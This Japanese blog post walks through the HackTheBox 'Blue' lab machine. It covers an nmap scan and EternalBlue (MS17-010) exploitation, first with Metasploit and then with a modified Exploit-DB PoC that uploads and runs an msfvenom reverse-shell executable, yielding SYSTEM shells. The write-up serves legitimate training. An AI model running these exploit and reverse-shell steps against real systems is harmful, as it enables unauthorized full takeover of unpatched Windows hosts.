LoginSignup
0
1

More than 3 years have passed since last update.

HackTheBox Walkthrough : Blue

Posted at

今回はHackTheBoxBlueというマシーンの攻略を備忘録として記載していきます。

間違っているところもあると思いますがご了承ください。

下記は私が作成したペネトレーションテストのチートシートとなっております、ご興味があればみてみてください。

Information Gathering

nmapを使用してポートスキャンをした結果、下記ポートが開いていることがわかりました。

nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan 10.10.10.40
PORT SERVICE VERSION
135 msrpc Microsoft Windows RPC
139 netbios-ssn Microsoft Windows netbios-ssn
445 microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152 msrpc Microsoft Windows RPC
49153 msrpc Microsoft Windows RPC
49154 msrpc Microsoft Windows RPC
49155 msrpc Microsoft Windows RPC
49156 msrpc Microsoft Windows RPC
49157 msrpc Microsoft Windows RPC
Nmap scan report for 10.10.10.40
Host is up (0.17s latency).
Not shown: 65526 closed ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open          Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/6%OT=135%CT=1%CU=37228%PV=Y%DS=2%DC=I%G=Y%TM=5F7C5D
OS:4E%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=106%TI=I%CI=I%II=I%SS=S%TS
OS:=7)OPS(O1=M54DNW8ST11%O2=M54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M
OS:54DNW8ST11%O6=M54DST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=20
OS:00)ECN(R=Y%DF=Y%T=80%W=2000%O=M54DNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y
OS:%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD
OS:=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0
OS:%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1
OS:(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -16m52s, deviation: 34m35s, median: 3m05s
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-10-06T13:07:28+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-10-06T12:07:27
|_  start_date: 2020-10-06T11:43:27

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct  6 08:04:30 2020 -- 1 IP address (1 host up) scanned in 659.86 seconds

nampの結果から対象サーバでは Windows 7 Professional 7601 Service Pack 1 microsoft-ds を使用していることがわかります。

脆弱性の情報を確認したろことEternalBlue(MS17-010)と呼ばれる SMBが リモードコードを実行される可能性があることがわかります。

Exploit

方法1(Metasploit)

MetasploitでMS17-010に対して脆弱であるかどうかを確認します。

msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

上記の結果より、対象サーバはMS17-010に脆弱であることがわかりましたのでms17_010_eternalblueを使用して実際にExploitをおこないます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.14.10:4444 
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.10:4444 -> 10.10.10.40:49158) at 2021-01-31 01:15:28 -0500
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > shell
Process 2960 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

無事にExploitすることができました。Metasploitを使用することでかなり短時間でnt authority\systemを取得することができます。

方法2

情報取集を行っている時に見つけたExploit-DBのPoCの変更を行いExploitを行なっていきます。

kali@kali:~/Documents/Blue/exploit$ searchsploit -x 42315.py
  Exploit: Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)
      URL: https://www.exploit-db.com/exploits/42315
     Path: /usr/share/exploitdb/exploits/windows/remote/42315.py
File Type: Python script, ASCII text executable, with CRLF line terminators

対象ディレクトリーにPoCをコピーし42315.pyを実行します。コピーした段階ではエラーが出てしまいます。

kali@kali:~/Documents/Blue/tool2$ python 42315.py 
Traceback (most recent call last):
  File "42315.py", line 3, in <module>
    from mysmb import MYSMB
ImportError: No module named mysmb

mysmb.pyが存在しないためエラーが起きてしまっているので、下記よりmysmb.py取得し同じディレクトリーに設置します。

コピーしただけのPoCではユーザ名とパスワードが入っていないため、任意の文字列は書き加えます。

    34  '''
    35
    36  USERNAME = 'user'
    37  PASSWORD = 'password'
    38

一旦実行する準備ができたので実行します。

kali@kali:~/Documents/Blue/exploit$ python 42315.py 10.10.10.40
Target OS: Windows 7 Professional 7601 Service Pack 1
Using named pipe: samr
Target is 64 bit
Got frag size: 0x10
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xfa0
CONNECTION: 0xfffffa8004662020
SESSION: 0xfffff8a003cfa660
FLINK: 0xfffff8a008643088
InParam: 0xfffff8a00863d15c
MID: 0x1c03
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
creating file c:\pwned.txt on the target
Done
kali@kali:~/Documents/Blue/exploit$ 

creating file c:\pwned.txt on the target

対象マシーンにc:\pwned.txtを作成することができたようです。

ここでもう一度ソースコードを確認し、pwned.txtを作成している場所を探します。

   913  def smb_pwn(conn, arch):
   914          smbConn = conn.get_smbconnection()
   915
   916          print('creating file c:\\pwned.txt on the target')
   917          tid2 = smbConn.connectTree('C$')
   918          fid2 = smbConn.createFile(tid2, '/pwned.txt')
   919          smbConn.closeFile(tid2, fid2)
   920          smbConn.disconnectTree(tid2)
   921
   922          #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
   923          #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
   924          # Note: there are many methods to get shell over SMB admin session
   925          # a simple method to get shell (but easily to be detected by AV) is
   926          # executing binary generated by "msfvenom -f exe-service ..."
   927

ソースコードを変更して、リバースシェルを送信して実行させるようにPoCを変更します。

ますは、リバースシェルの作成を行います。

kali@kali:~/Documents/Blue/exploit$ msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.10 LPORT=1234 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes

次は対象サーバで実行されるコマンドをPoCに記述します。

   913  def smb_pwn(conn, arch):
   914          smbConn = conn.get_smbconnection()
   915
   916          print('creating file c:\\pwned.txt on the target')
   917          tid2 = smbConn.connectTree('C$')
   918          fid2 = smbConn.createFile(tid2, '/pwned.txt')
   919          smbConn.closeFile(tid2, fid2)
   920          smbConn.disconnectTree(tid2)
   921
   922          smb_send_file(smbConn, 'shell.exe', 'C', '/shell.exe')
   923          service_exec(conn, r'cmd /c c:\\shell.exe')

変更したPoCを実行する前にMetasploitのexploit/multi/handlerを使用してリバースシェルを待ち受けます。

msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.14.10      yes       The listen address (an interface may be specified)
   LPORT     1234             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
   msf6 exploit(multi/handler) > run

これで準備は完了です。

kali@kali:~/Documents/Blue/exploit$ python 42315.py 10.10.10.40
Target OS: Windows 7 Professional 7601 Service Pack 1
Using named pipe: samr
Target is 64 bit
Got frag size: 0x10
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xfa0
CONNECTION: 0xfffffa80021f4020
SESSION: 0xfffff8a001b2b6a0
FLINK: 0xfffff8a008212088
InParam: 0xfffff8a00820c15c
MID: 0x1903
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
creating file c:\pwned.txt on the target
Opening SVCManager on 10.10.10.40.....
Creating service emEz.....
Starting service emEz.....
The NETBIOS connection with the remote host timed out.
Removing service emEz.....
ServiceExec Error on: 10.10.10.40
nca_s_proto_error
Done

PoCを実行するとexploit/multi/handlernt authority\system権限で接続することができました。

netcatを使用して接続を行うこともできますが、今回はMetasploitのexploit/multi/handlerを使用したほうが安定的にシェル取得することができたのでexploit/multi/handlerを使用しました。

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.10:1234 
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.10.10.40
[*] Command shell session 2 opened (10.10.14.10:1234 -> 10.10.10.40:49163) at 2021-01-31 06:20:36 -0500

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

PoCを変更する前に作成されていると思われたc:\pwned.txtが作成されていることも確認することができました。

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\

14/07/2009  03:20    <DIR>          PerfLogs
24/12/2017  02:23    <DIR>          Program Files
14/07/2017  16:58    <DIR>          Program Files (x86)
31/01/2021  13:24                 0 pwned.txt
14/07/2017  13:48    <DIR>          Share
31/01/2021  13:24            73,802 shell.exe
21/07/2017  06:56    <DIR>          Users
15/01/2021  10:42    <DIR>          Windows
               2 File(s)         73,802 bytes
               6 Dir(s)  17,255,067,648 bytes free

C:\>

免責事項

本記事は情報セキュリティにおける攻撃の理解、防衛のスキル向上を目的としたセキュリティに関する内容がございます。本記事の内容を使用し発生した如何なる損害や損失について、当記事作成者は一切の責任を負いません。
本記事の内容を実際に使用して、第三者の個人や組織などを攻撃した場合は
法律により罰せられる可能性がありので、必ず自身が所有している環境のみを
対象とし、他人や組織が所有している環境は決して対象としないようお願いします。

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1